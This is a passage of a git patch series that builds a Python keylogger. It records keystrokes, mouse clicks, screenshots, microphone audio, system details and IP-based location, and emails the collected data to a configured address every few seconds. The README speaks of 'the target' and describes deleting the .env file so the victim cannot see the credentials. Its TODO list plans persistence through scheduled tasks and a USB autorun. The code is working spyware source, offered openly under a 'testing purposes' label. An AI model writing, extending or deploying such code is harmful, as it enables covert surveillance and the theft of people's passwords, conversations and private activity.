'\n') - self.appendlog('processor = ' + processor + '\n') - self.appendlog('system = ' + system + '\n') - self.appendlog('machine = ' + machine + '\n') + self.appendlog("hostname = " + hostname + "\n") + self.appendlog("ip = " + ip + "\n") + self.appendlog("processor = " + processor + "\n") + self.appendlog("system = " + system + "\n") + self.appendlog("machine = " + machine + "\n") def microphone(self): fs = 44100 + channels = 1 # mono seconds = SEND_REPORT_EVERY obj = wave.open("sound.wav", "w") - obj.setnchannels(1) # mono - obj.setsampwidth(2) + obj.setnchannels(channels) # mono + obj.setsampwidth(2) # Sampling of 16 bit obj.setframerate(fs) - myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2) - obj.writeframesraw(myrecording) + myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=channels, dtype='int16') sd.wait() + obj.writeframesraw(myrecording) + self.appendlog("microphone used.\n") - self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=obj) + # self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=obj) def screenshot(self): img = pyscreenshot.grab() - self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img) + img.save("screenshot.png") + self.appendlog("screenshot used.\n") + + # self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img) def run(self): # keyboard_listener = keyboard.Listener(on_press=self.save_data) @@ -142,6 +147,8 @@ def run(self): # print("File is close.") self.system_information() + # self.screenshot() + self.microphone() self.report() From 90bc7c03f8877711cfb93d1dc845b3db82da874c Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 10 Feb 2024 11:46:32 +0100 Subject: [PATCH 05/24] Modified Key and Mouse listeners and tested --- keylogger.py | 68 ++++++++++++++++++++++++++++++---------------------- 1 file changed, 39 insertions(+), 29 deletions(-) diff --git a/keylogger.py b/keylogger.py index cdf2ba4..fb7c09f 100644 --- a/keylogger.py +++ b/keylogger.py @@ -3,12 +3,13 @@ import platform import smtplib import socket +import time + # import threading import wave import pyscreenshot import sounddevice as sd -# from pynput import keyboard -# from pynput.keyboard import Listener +from pynput import keyboard, mouse from dotenv import load_dotenv # from email import encoders # from email.mime.base import MIMEBase @@ -29,24 +30,29 @@ class KeyLogger: def __init__(self, time_interval, email, password): + self.keyboard_listener = None + self.mouse_listener = None self.interval = time_interval self.log = "KeyLogger Started...\n" self.email = email self.password = password def appendlog(self, string): - self.log = self.log + string + if string: + self.log = self.log + string def on_move(self, x, y): - current_move = logging.info("Mouse moved to {} {}".format(x, y)) + current_move = "\nMouse moved to {} {}".format(x, y) self.appendlog(current_move) - def on_click(self, x, y): - current_click = logging.info("Mouse moved to {} {}".format(x, y)) + def on_click(self, x, y, button, pressed): + current_click = "\nMouse click at {} {} with button {}".format(x, y, button) self.appendlog(current_click) - def on_scroll(self, x, y): - current_scroll = logging.info("Mouse moved to {} {}".format(x, y)) + def on_scroll(self, x, y, dx, dy): + current_scroll = "\nMouse scrolled at {} {} with scroll distance {} {}".format( + x, y, dx, dy + ) self.appendlog(current_scroll) def save_data(self, key): @@ -60,7 +66,7 @@ def save_data(self, key): else: current_key = " " + str(key) + " " - self.appendlog(current_key) + self.appendlog("\nPressed key: {0}".format(current_key)) def send_mail(self, email, password, message): m = f"""\ @@ -79,6 +85,8 @@ def report(self): # self.send_mail(self.email, self.password, "\n\n" + self.log) print(self.log) self.log = "" + self.keyboard_listener.stop() + self.mouse_listener.stop() # timer = threading.Timer(self.interval, self.report) # timer.start() @@ -88,11 +96,11 @@ def system_information(self): processor = platform.processor() system = platform.system() machine = platform.machine() - self.appendlog("hostname = " + hostname + "\n") - self.appendlog("ip = " + ip + "\n") - self.appendlog("processor = " + processor + "\n") - self.appendlog("system = " + system + "\n") - self.appendlog("machine = " + machine + "\n") + self.appendlog("\nhostname = " + hostname) + self.appendlog("\nip = " + ip) + self.appendlog("\nprocessor = " + processor) + self.appendlog("\nsystem = " + system) + self.appendlog("\nmachine = " + machine) def microphone(self): fs = 44100 @@ -100,31 +108,32 @@ def microphone(self): seconds = SEND_REPORT_EVERY obj = wave.open("sound.wav", "w") obj.setnchannels(channels) # mono - obj.setsampwidth(2) # Sampling of 16 bit + obj.setsampwidth(2) # Sampling of 16 bit obj.setframerate(fs) - myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=channels, dtype='int16') + myrecording = sd.rec( + int(seconds * fs), samplerate=fs, channels=channels, dtype="int16" + ) sd.wait() obj.writeframesraw(myrecording) - self.appendlog("microphone used.\n") + self.appendlog("\nmicrophone used.") # self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=obj) def screenshot(self): img = pyscreenshot.grab() img.save("screenshot.png") - self.appendlog("screenshot used.\n") - + self.appendlog("\nscreenshot used.") + # self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img) def run(self): - # keyboard_listener = keyboard.Listener(on_press=self.save_data) - # with keyboard_listener: - # self.report() - # keyboard_listener.join() - # with Listener( - # on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll - # ) as mouse_listener: - # mouse_listener.join() + self.keyboard_listener = keyboard.Listener(on_press=self.save_data) + self.keyboard_listener.start() + + self.mouse_listener = mouse.Listener( + on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll + ) + self.mouse_listener.start() # if os.name == "nt": # try: @@ -146,9 +155,10 @@ def run(self): # except OSError: # print("File is close.") - self.system_information() + # self.system_information() # self.screenshot() - self.microphone() + # self.microphone() + time.sleep(10) self.report() From e3a0efecae169d10ec42690ddf548e1af980dfd1 Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 10 Feb 2024 11:46:55 +0100 Subject: [PATCH 06/24] Removed logging --- keylogger.py | 1 - 1 file changed, 1 deletion(-) diff --git a/keylogger.py b/keylogger.py index fb7c09f..eab5723 100644 --- a/keylogger.py +++ b/keylogger.py @@ -1,4 +1,3 @@ -import logging import os import platform import smtplib From 429a875e6d8a0814fc813fc266ea0c0b2456fa39 Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 10 Feb 2024 12:18:57 +0100 Subject: [PATCH 07/24] Created utils.py and changed send email function --- __pycache__/utils.cpython-311.pyc | Bin 0 -> 2084 bytes keylogger.py | 56 ++++++++++++++---------------- utils.py | 47 +++++++++++++++++++++++++ 3 files changed, 74 insertions(+), 29 deletions(-) create mode 100644 __pycache__/utils.cpython-311.pyc create mode 100644 utils.py diff --git a/__pycache__/utils.cpython-311.pyc b/__pycache__/utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..ee239626dcc5fcc4f21f852164b58458c7ff9054 GIT binary patch literal 2084 zcmZ`)&1)M+6rYtx(nzZ>JB~su;kcz>95;#_LU8kSXxx~PNDYZwgQFtW+O@r5SF7%h znkHF+5>n!pKyxWIlv17C6kqx$^wu1A&4R^1AW(AX%@BIYsc%+ZM{=9d?9A`IdGnh$ zZ{J(}noPzKw3SwWyOWGP&))N6*Um=;4d(RZykL}40&=k>D?ca#cm*ERue?TanZ#J7$EE;vD3%0Pk?9;6wVNr!<%s87CgPS346Bo_X)@*bLfj-S_#TM+-q{Ag9F?@ z+fh3)$Ro`(N%S9eO0-L+ExQz&5glLDp8QdjD*P?4dzh z--A@YO@Id@(#im5I#}zUA&HqBon%x0M=Y;f5xu^?T9##n#FDGc6V}mzgLv8k$;@sA|;jC5;-DsB*%hrXuP0 z4qYQsk6w6 zVd@e!d5Sa9QfRdy-PH_9W*Cl6_Z6Roq~_c4Bsp* zTxVg;SXJvRCRtVRQ?0KuVkvc5msE}6FPkcz8irF~OVv`$uV8=77aE31;S_FG1#(ld zESBnt4au_Z7^ch;J(<(NzP(jbsVOSw3Ds(Bq#@C@DmAKaqW~e?kB9}%?gbk!8}eNi z)!`gzRe=lb8wDGxJbEk|1S4vJDZB-SDSVvz5=_URDJ*tBuN>QET#7 zVO8c;y4GB-UN;T?uC2;d1!BCqs+g4~RW+;7xXX_6i&gyy+yU#pJD4ZoGy;#c0H2vQ z`ezKK^WPdzjP`st`+j?V{qloPyQ3V;Jt%cYvwPs^1b{0p&c4LrwoS&IT+uo8`Sas2KzGTaM;0Bj2$bKazDqrYJ;yw9%<=oH)Zr)E z#<^!PH+9NOoodhXE0rFWo}TE8ySV7#qJxWFab!o#Z;N?X9QVZW_FNZ>J9u;(k3Ow* zF8+Sn#j_rsb?_|cA76WT?Lqlbxm|uKrq@ruhTx*9xXHgdY}C)Qg0AXHK@a|*di9g; zTjF`pE2MrcuaI6Xg?(GUe*72s8#0SPZx L(c1l+|-nd<{1$ApNI7g47)>uAaqfx x?f<%{;0*RI`oJ0N|EC#q&_LfEMI_!ma Date: Sat, 10 Feb 2024 15:03:56 +0100 Subject: [PATCH 08/24] Created cleanup functions --- __pycache__/utils.cpython-311.pyc | Bin 2084 -> 3246 bytes keylogger.py | 46 +++++++++++++++--------------- utils.py | 21 ++++++++++++++ 3 files changed, 44 insertions(+), 23 deletions(-) diff --git a/__pycache__/utils.cpython-311.pyc b/__pycache__/utils.cpython-311.pyc index ee239626dcc5fcc4f21f852164b58458c7ff9054..86e3d63521850bdf594e072e434e7944fb789213 100644 GIT binary patch delta 1213 zcmaKr%WD%+6vpqJ_hhEUY7)|tVhUA~g6YFrtd>GVkh*YFQ5h&PSzEXpPCT3hT@njmz>1@61_E z$cl;xbB=H+N9S3>FJr|+gk_{iLK=#ZRBv1RhG-FVSfXOlasozk{qH z6L$=RGPoM2{S#%BLS^hSs7_D`y@mtt4h~&MbFng2qH1)tL3#ZIyKTdFXi;uU_myys zfm8m9+rVh`S_!^klfLzci53%!poLs2!dg_`u(*_JCX2-4wX|W9v~CG%ju^$X`M}~5 zg#s)hwAGVb&~-Iu#vwpWntA=9)dPv*i5!VTs`z|bQw>Y7hg>3CQ4RY-LZOfzh0*fC zBjU%x^{e1rgl?E1OQ;p-TNhtQ>r$QZ?FITkTVDUOoAt9J4ew~vJK9DRJM74cuq&O} zk%HS&@cEsFG}x2|+X#!pZ-t%k!bPj>e z_KR*J$8;+7moSyhlLbwk)^C7i|0#|4AZ;3ByoCKqzYYOZ7`G633Dqz5E^aoFVMr Date: Sat, 10 Feb 2024 15:16:39 +0100 Subject: [PATCH 09/24] Added magic word to stop the program --- keylogger.py | 85 ++++++++++++++++++++++++++++++---------------------- 1 file changed, 49 insertions(+), 36 deletions(-) diff --git a/keylogger.py b/keylogger.py index 5639cd2..1e86e4f 100644 --- a/keylogger.py +++ b/keylogger.py @@ -9,7 +9,11 @@ import sounddevice as sd from pynput import keyboard, mouse from dotenv import load_dotenv -from utils import send_mail_with_attachment, get_wav_and_png_files, delete_wav_and_png_files +from utils import ( + send_mail_with_attachment, + get_wav_and_png_files, + delete_wav_and_png_files, +) load_dotenv() @@ -21,6 +25,7 @@ EMAIL_RECEIVER = os.getenv("EMAIL_RECEIVER") EMAIL_CC = os.getenv("EMAIL_CC") SEND_REPORT_EVERY = 5 # seconds +MAGIC_WORD="STOP" class KeyLogger: @@ -29,6 +34,7 @@ def __init__(self, time_interval, email, password): self.mouse_listener = None self.interval = time_interval self.log = "KeyLogger Started...\n" + self.magic_word = "" def appendlog(self, string): if string: @@ -60,7 +66,8 @@ def save_data(self, key): current_key = "ESC" else: current_key = " " + str(key) + " " - + + self.magic_word = self.magic_word + current_key self.appendlog("\nPressed key: {0}".format(current_key)) def send_mail(self, message): @@ -88,6 +95,7 @@ def cleanup(self): self.log = "" self.keyboard_listener.stop() self.mouse_listener.stop() + self.magic_word = "" delete_wav_and_png_files() def system_information(self): @@ -123,40 +131,45 @@ def screenshot(self): self.appendlog("\nscreenshot used.") def run(self): - self.keyboard_listener = keyboard.Listener(on_press=self.save_data) - self.keyboard_listener.start() - - self.mouse_listener = mouse.Listener( - on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll - ) - self.mouse_listener.start() - - # if os.name == "nt": - # try: - # pwd = os.path.abspath(os.getcwd()) - # os.system("cd " + pwd) - # os.system("TASKKILL /F /IM " + os.path.basename(__file__)) - # print("File was closed.") - # os.system("DEL " + os.path.basename(__file__)) - # except OSError: - # print("File is close.") - # else: - # try: - # pwd = os.path.abspath(os.getcwd()) - # os.system("cd " + pwd) - # os.system("pkill leafpad") - # os.system("chattr -i " + os.path.basename(__file__)) - # print("File was closed.") - # os.system("rm -rf" + os.path.basename(__file__)) - # except OSError: - # print("File is close.") - - # self.system_information() - # self.screenshot() - # self.microphone() - time.sleep(SEND_REPORT_EVERY) - self.report() - self.cleanup() + while(True): + self.keyboard_listener = keyboard.Listener(on_press=self.save_data) + self.keyboard_listener.start() + + self.mouse_listener = mouse.Listener( + on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll + ) + self.mouse_listener.start() + + # if os.name == "nt": + # try: + # pwd = os.path.abspath(os.getcwd()) + # os.system("cd " + pwd) + # os.system("TASKKILL /F /IM " + os.path.basename(__file__)) + # print("File was closed.") + # os.system("DEL " + os.path.basename(__file__)) + # except OSError: + # print("File is close.") + # else: + # try: + # pwd = os.path.abspath(os.getcwd()) + # os.system("cd " + pwd) + # os.system("pkill leafpad") + # os.system("chattr -i " + os.path.basename(__file__)) + # print("File was closed.") + # os.system("rm -rf" + os.path.basename(__file__)) + # except OSError: + # print("File is close.") + + self.system_information() + # self.screenshot() + # self.microphone() + time.sleep(SEND_REPORT_EVERY) + self.report() + + if MAGIC_WORD in self.magic_word: + break + + self.cleanup() keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD) From 071f0734aabd1799604e41337c67b9c1a05b0f78 Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 10 Feb 2024 15:37:59 +0100 Subject: [PATCH 10/24] Cleanup and betterment of the README file --- README.md | 43 +++++++++++++++++++++++++++--------------- keylogger.py | 53 +++++++++++++++++++++++++++++++++++----------------- 2 files changed, 64 insertions(+), 32 deletions(-) diff --git a/README.md b/README.md index 0d7a5a1..1133e6d 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ # Program objectives -This is a keylogger, use it for testing purposes. +This is a keylogger, use it for testing purposes only. You will gather keyboard strokes, mouse movements, screenshots and microphone input. All the collected info will be sent via email every defined time interval. @@ -7,16 +7,24 @@ All the collected info will be sent via email every defined time interval. ### Imports -- **logging**: Used for logging messages. +from dotenv import load_dotenv +from utils import ( + send_mail_with_attachment, + get_wav_and_png_files, + delete_wav_and_png_files, +) +- **smtplib**: Provides an SMTP client session to send emails. + - **os**: Provides a way of using operating system-dependent functionality. - **platform**: Provides an interface to various services that interact with the operating system. -- **smtplib**: Provides an SMTP client session to send emails. - **socket**: Provides access to the underlying operating system's socket services. -- **threading**: Provides threading support. +- **time**: Used for both sleeping the program and get timestamp. - **wave**: Used for reading and writing WAV files. - **pyscreenshot**: Captures screenshots. - **sounddevice**: Provides an interface to play and record audio. - **pynput**: Library for monitoring input devices. +- **load_dotenv**: Get environment variables. +- **utils**: Some custom functions. Note: you should run ```python @@ -25,23 +33,28 @@ pip install -r requirements.txt ### Configuration -Defines email address and password for sending logs. +Defines email details for sending logs. For this project, I created an email account using [mailtrap](https://mailtrap.io). -Specifies the interval for sending reports (SEND_REPORT_EVERY). +Specifies the interval for sending reports (SEND_REPORT_EVERY) and some other variables. ### KeyLogger Class -- Monitors keyboard events using pynput library. -- Records mouse movements, clicks, and scrolls. -- Saves the logged data to a string (self.log). -- Sends email reports with logged data. - Collects system information (hostname, IP address, processor, system, machine). -- Captures microphone input and sends it via email. -- Takes screenshots and sends them via email. -- The run method starts the keylogger by setting up keyboard and mouse listeners. -- Performs some cleanup actions based on the operating system if the target computer finds the code and open the file. In this way, the target cannot see your email and password. +- Monitors keyboard strokes. +- Records mouse movements, clicks, and scrolls - but only log clicks to reduce the quantity of logs. +- Take screenshots. +- Capture microphone input. +- Saves the logged data to a string (self.log). +- Sends email reports with logged data and attachments. +- Clean the data. +- The run method starts the keylogger by setting up keyboard, mouse, screenshot and microphone listeners. ### Execution -Creates an instance of the KeyLogger class with the specified email, password, and reporting interval. +Creates an instance of the KeyLogger class with the needed variables. Calls the run method to start the keylogger. +Write the magic word (if set) to break the loop. + +### TODO +- Performs some cleanup actions based on the operating system if the target computer finds the code and open the file. In this way, the target cannot see your data. +- Gather the physical location of the device. \ No newline at end of file diff --git a/keylogger.py b/keylogger.py index 1e86e4f..3936902 100644 --- a/keylogger.py +++ b/keylogger.py @@ -2,8 +2,6 @@ import platform import socket import time - -# import threading import wave import pyscreenshot import sounddevice as sd @@ -25,16 +23,28 @@ EMAIL_RECEIVER = os.getenv("EMAIL_RECEIVER") EMAIL_CC = os.getenv("EMAIL_CC") SEND_REPORT_EVERY = 5 # seconds -MAGIC_WORD="STOP" +MAGIC_WORD = "STOP" class KeyLogger: - def __init__(self, time_interval, email, password): + def __init__( + self, + time_interval, + smtp_server, + smtp_port, + email_address, + email_password, + email_sender, + email_receiver, + cc, + magic_word + ): self.keyboard_listener = None self.mouse_listener = None self.interval = time_interval self.log = "KeyLogger Started...\n" - self.magic_word = "" + self.word = "" + self.magic_word = magic_word def appendlog(self, string): if string: @@ -66,8 +76,8 @@ def save_data(self, key): current_key = "ESC" else: current_key = " " + str(key) + " " - - self.magic_word = self.magic_word + current_key + + self.word = self.word + current_key self.appendlog("\nPressed key: {0}".format(current_key)) def send_mail(self, message): @@ -88,14 +98,12 @@ def send_mail(self, message): def report(self): self.send_mail("\n\n\n" + self.log) print(self.log) - # timer = threading.Timer(self.interval, self.report) - # timer.start() def cleanup(self): self.log = "" self.keyboard_listener.stop() self.mouse_listener.stop() - self.magic_word = "" + self.word = "" delete_wav_and_png_files() def system_information(self): @@ -131,7 +139,7 @@ def screenshot(self): self.appendlog("\nscreenshot used.") def run(self): - while(True): + while True: self.keyboard_listener = keyboard.Listener(on_press=self.save_data) self.keyboard_listener.start() @@ -139,6 +147,9 @@ def run(self): on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll ) self.mouse_listener.start() + self.system_information() + # self.screenshot() + # self.microphone() # if os.name == "nt": # try: @@ -160,17 +171,25 @@ def run(self): # except OSError: # print("File is close.") - self.system_information() - # self.screenshot() - # self.microphone() time.sleep(SEND_REPORT_EVERY) self.report() - if MAGIC_WORD in self.magic_word: + if self.magic_word != "" and self.magic_word in self.word: break - self.cleanup() + self.cleanup() # this cleanup is used until the while loop works + self.cleanup() # this cleanup is used when the while loop stops -keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD) +keylogger = KeyLogger( + SEND_REPORT_EVERY, + SMTP_SERVER, + SMTP_PORT, + EMAIL_ADDRESS, + EMAIL_PASSWORD, + EMAIL_SENDER, + EMAIL_RECEIVER, + EMAIL_CC, + MAGIC_WORD +) keylogger.run() From 235943775f019fa5f97cc7ad64c06a904e4f8efe Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 10 Feb 2024 15:46:02 +0100 Subject: [PATCH 11/24] Refactoring --- keylogger.py | 45 ++++++++++++++++++++++++++------------------- 1 file changed, 26 insertions(+), 19 deletions(-) diff --git a/keylogger.py b/keylogger.py index 3936902..93b52b4 100644 --- a/keylogger.py +++ b/keylogger.py @@ -37,14 +37,21 @@ def __init__( email_sender, email_receiver, cc, - magic_word + magic_word, ): - self.keyboard_listener = None - self.mouse_listener = None self.interval = time_interval + self.smtp_server = smtp_server + self.smtp_port = smtp_port + self.email_address = email_address + self.email_password = email_password + self.email_sender = email_sender + self.email_receiver = email_receiver + self.cc = cc + self.magic_word = magic_word self.log = "KeyLogger Started...\n" + self.keyboard_listener = None + self.mouse_listener = None self.word = "" - self.magic_word = magic_word def appendlog(self, string): if string: @@ -82,13 +89,13 @@ def save_data(self, key): def send_mail(self, message): send_mail_with_attachment( - smtp_server=SMTP_SERVER, - smtp_port=SMTP_PORT, - email_address=EMAIL_ADDRESS, - email_password=EMAIL_PASSWORD, - email_sender=EMAIL_SENDER, - email_receiver=EMAIL_RECEIVER, - cc=EMAIL_CC, + smtp_server=self.smtp_server, + smtp_port=self.smtp_port, + email_address=self.email_address, + email_password=self.email_password, + email_sender=self.email_sender, + email_receiver=self.email_receiver, + cc=self.cc, path_to_attachment=os.getcwd(), attachments=get_wav_and_png_files(), subject="Test keylogged - by F3000", @@ -112,16 +119,16 @@ def system_information(self): processor = platform.processor() system = platform.system() machine = platform.machine() - self.appendlog("\nhostname = " + hostname) - self.appendlog("\nip = " + ip) - self.appendlog("\nprocessor = " + processor) - self.appendlog("\nsystem = " + system) - self.appendlog("\nmachine = " + machine) + self.appendlog("\nHostname = " + hostname) + self.appendlog("\nIP = " + ip) + self.appendlog("\nProcessor = " + processor) + self.appendlog("\nSystem OS = " + system) + self.appendlog("\nMachine architecture = " + machine) def microphone(self): fs = 44100 channels = 1 # mono - seconds = SEND_REPORT_EVERY + seconds = self.interval obj = wave.open(f"sound_{time.time()}.wav", "w") obj.setnchannels(channels) # mono obj.setsampwidth(2) # Sampling of 16 bit @@ -171,7 +178,7 @@ def run(self): # except OSError: # print("File is close.") - time.sleep(SEND_REPORT_EVERY) + time.sleep(self.interval) self.report() if self.magic_word != "" and self.magic_word in self.word: @@ -190,6 +197,6 @@ def run(self): EMAIL_SENDER, EMAIL_RECEIVER, EMAIL_CC, - MAGIC_WORD + MAGIC_WORD, ) keylogger.run() From 8fb31113d4b9826fc1f5089a5db6159f36f5837b Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 10 Feb 2024 16:13:24 +0100 Subject: [PATCH 12/24] Added get_location function --- README.md | 2 +- keylogger.py | 59 +++++++++++++++++++++++++++++++++--------------- requirements.txt | 1 + 3 files changed, 43 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 1133e6d..b1476f8 100644 --- a/README.md +++ b/README.md @@ -40,6 +40,7 @@ Specifies the interval for sending reports (SEND_REPORT_EVERY) and some other va ### KeyLogger Class - Collects system information (hostname, IP address, processor, system, machine). +- Collects system geo-location - Monitors keyboard strokes. - Records mouse movements, clicks, and scrolls - but only log clicks to reduce the quantity of logs. - Take screenshots. @@ -57,4 +58,3 @@ Write the magic word (if set) to break the loop. ### TODO - Performs some cleanup actions based on the operating system if the target computer finds the code and open the file. In this way, the target cannot see your data. -- Gather the physical location of the device. \ No newline at end of file diff --git a/keylogger.py b/keylogger.py index 93b52b4..59721bc 100644 --- a/keylogger.py +++ b/keylogger.py @@ -5,6 +5,7 @@ import wave import pyscreenshot import sounddevice as sd +import geocoder from pynput import keyboard, mouse from dotenv import load_dotenv from utils import ( @@ -58,18 +59,16 @@ def appendlog(self, string): self.log = self.log + string def on_move(self, x, y): - # current_move = "\nMouse moved to {} {}".format(x, y) + # current_move = f"\nMouse moved to {x} {y}" # self.appendlog(current_move) pass # do nothing def on_click(self, x, y, button, pressed): - current_click = "\nMouse click at {} {} with button {}".format(x, y, button) + current_click = f"\nMouse click at {x} {y} with button {button}" self.appendlog(current_click) def on_scroll(self, x, y, dx, dy): - # current_scroll = "\nMouse scrolled at {} {} with scroll distance {} {}".format( - # x, y, dx, dy - # ) + # current_scroll = f"\nMouse scrolled at {x} {y} with scroll distance {dx} {dy}" # self.appendlog(current_scroll) pass # do nothing @@ -82,10 +81,10 @@ def save_data(self, key): elif key == key.esc: current_key = "ESC" else: - current_key = " " + str(key) + " " + current_key = f" {str(key)} " self.word = self.word + current_key - self.appendlog("\nPressed key: {0}".format(current_key)) + self.appendlog(f"\nPressed key: {current_key}") def send_mail(self, message): send_mail_with_attachment( @@ -103,13 +102,15 @@ def send_mail(self, message): ) def report(self): - self.send_mail("\n\n\n" + self.log) + self.send_mail(f"\n\n\n{self.log}") print(self.log) def cleanup(self): self.log = "" - self.keyboard_listener.stop() - self.mouse_listener.stop() + if self.keyboard_listener and self.keyboard_listener.running: + self.keyboard_listener.stop() + if self.mouse_listener and self.mouse_listener.running: + self.mouse_listener.stop() self.word = "" delete_wav_and_png_files() @@ -119,11 +120,30 @@ def system_information(self): processor = platform.processor() system = platform.system() machine = platform.machine() - self.appendlog("\nHostname = " + hostname) - self.appendlog("\nIP = " + ip) - self.appendlog("\nProcessor = " + processor) - self.appendlog("\nSystem OS = " + system) - self.appendlog("\nMachine architecture = " + machine) + self.appendlog("\nSystem info:") + self.appendlog(f"\nHostname = {hostname}") + self.appendlog(f"\nIP = {ip}") + self.appendlog(f"\nProcessor = {processor}") + self.appendlog(f"\nSystem OS = {system}") + self.appendlog(f"\nMachine architecture = {machine}") + + def get_location(self): + location = geocoder.ip("me") + + self.appendlog("\nLocation info:") + + if location.ok: + latitude, longitude = location.latlng + city = location.city + state = location.state + country = location.country + + self.appendlog(f"\nGeo position = {latitude} {longitude}") + self.appendlog(f"\nCity = {city}") + self.appendlog(f"\nState = {state}") + self.appendlog(f"\nCountry = {country}") + else: + self.appendlog("\nLocation not determined.") def microphone(self): fs = 44100 @@ -147,6 +167,9 @@ def screenshot(self): def run(self): while True: + self.system_information() + self.get_location() + self.keyboard_listener = keyboard.Listener(on_press=self.save_data) self.keyboard_listener.start() @@ -154,9 +177,9 @@ def run(self): on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll ) self.mouse_listener.start() - self.system_information() - # self.screenshot() - # self.microphone() + + self.screenshot() + self.microphone() # if os.name == "nt": # try: diff --git a/requirements.txt b/requirements.txt index 61674c8..39a0f3e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,3 +2,4 @@ pynput pyscreenshot sounddevice pillow +geocoder \ No newline at end of file From f3140477a614f127d79659378ba4674dbb6524bd Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 10 Feb 2024 16:34:15 +0100 Subject: [PATCH 13/24] Added remove .env file function --- README.md | 4 +--- __pycache__/utils.cpython-311.pyc | Bin 3246 -> 4038 bytes keylogger.py | 24 ++++-------------------- utils.py | 11 +++++++++++ 4 files changed, 16 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index b1476f8..b16cf4d 100644 --- a/README.md +++ b/README.md @@ -54,7 +54,5 @@ Specifies the interval for sending reports (SEND_REPORT_EVERY) and some other va Creates an instance of the KeyLogger class with the needed variables. Calls the run method to start the keylogger. +The first action, based on the operating system, deletes the .env file. In this way, the target cannot see your sensitive data. Write the magic word (if set) to break the loop. - -### TODO -- Performs some cleanup actions based on the operating system if the target computer finds the code and open the file. In this way, the target cannot see your data. diff --git a/__pycache__/utils.cpython-311.pyc b/__pycache__/utils.cpython-311.pyc index 86e3d63521850bdf594e072e434e7944fb789213..2ffc807aaac3dc32f891426d29e581775b54ce67 100644 GIT binary patch delta 731 zcmZ1{c}$*fIWI340}ymhJD$qIIgw9-F>9iF3O82^LlkccV=#jz_r?jgxPp>FYG8l` z$Y2KI&xaTp7^X9nz{G)c7ElBNQW&$DK&+w+6nU^1NPO}IPBFd`xN@LYmdOd6Vp=Io z%YbTD!`0QInhzIWz&hEGQDkyEyMREE7>YS;lk3?f6c`y&7=pogK4o^HLpyQy~r5o`&%q|iMgpowx9sA0}&=5LAKP2%;J*bB6}c5lkpY@Pn#ozbh;{#eBNWB%7s7 zOE?#DFX3Jhc2U^mim*us$6apT9`k;?F1r~T7rB+Ma4UacVB}P|%fr{>IU(aBkNg!L z`3o@gff*fQ7)`{l#IEo1apelWJGw a3seRQhvGexe{wIE72;q7x(Sm2>jeNeo|!lR delta 78 zcmX>mzfO{GIWI340}yaE9Z%iKK9Ns?F=e893M*qUgC^I;X}7qTG Date: Sat, 10 Feb 2024 16:44:28 +0100 Subject: [PATCH 14/24] Added TODO bullet points --- README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/README.md b/README.md index b16cf4d..3a5b4d9 100644 --- a/README.md +++ b/README.md @@ -56,3 +56,8 @@ Creates an instance of the KeyLogger class with the needed variables. Calls the run method to start the keylogger. The first action, based on the operating system, deletes the .env file. In this way, the target cannot see your sensitive data. Write the magic word (if set) to break the loop. + +### TODO +- Create a function that copies the Python script and creates a scheduled task to execute it +- Create a USB key that runs upon it's plugged in a PC +- Improve the remove_env_file function to remove the .env file only when somebody tries to check the file content From 0c5852789beaff3e01f667bb10242ef12aa68bdc Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sun, 17 Mar 2024 11:27:42 +0100 Subject: [PATCH 15/24] Separated main and Keylogger class --- README.md | 5 ++-- __pycache__/keylogger.cpython-311.pyc | Bin 0 -> 9156 bytes keylogger.py | 27 -------------------- main.py | 34 ++++++++++++++++++++++++++ 4 files changed, 36 insertions(+), 30 deletions(-) create mode 100644 __pycache__/keylogger.cpython-311.pyc create mode 100644 main.py diff --git a/README.md b/README.md index 3a5b4d9..6002406 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,6 @@ from utils import ( delete_wav_and_png_files, ) - **smtplib**: Provides an SMTP client session to send emails. - - **os**: Provides a way of using operating system-dependent functionality. - **platform**: Provides an interface to various services that interact with the operating system. - **socket**: Provides access to the underlying operating system's socket services. @@ -26,7 +25,7 @@ from utils import ( - **load_dotenv**: Get environment variables. - **utils**: Some custom functions. -Note: you should run +Note: to install everything you need you should run ```python pip install -r requirements.txt ``` @@ -58,6 +57,6 @@ The first action, based on the operating system, deletes the .env file. In this Write the magic word (if set) to break the loop. ### TODO -- Create a function that copies the Python script and creates a scheduled task to execute it +- Add an optional parameter to copy the Python script somewhere and creates a scheduled task to execute it - Create a USB key that runs upon it's plugged in a PC - Improve the remove_env_file function to remove the .env file only when somebody tries to check the file content diff --git a/__pycache__/keylogger.cpython-311.pyc b/__pycache__/keylogger.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..a01b6952563219a76d94e84d35a5e82376670594 GIT binary patch literal 9156 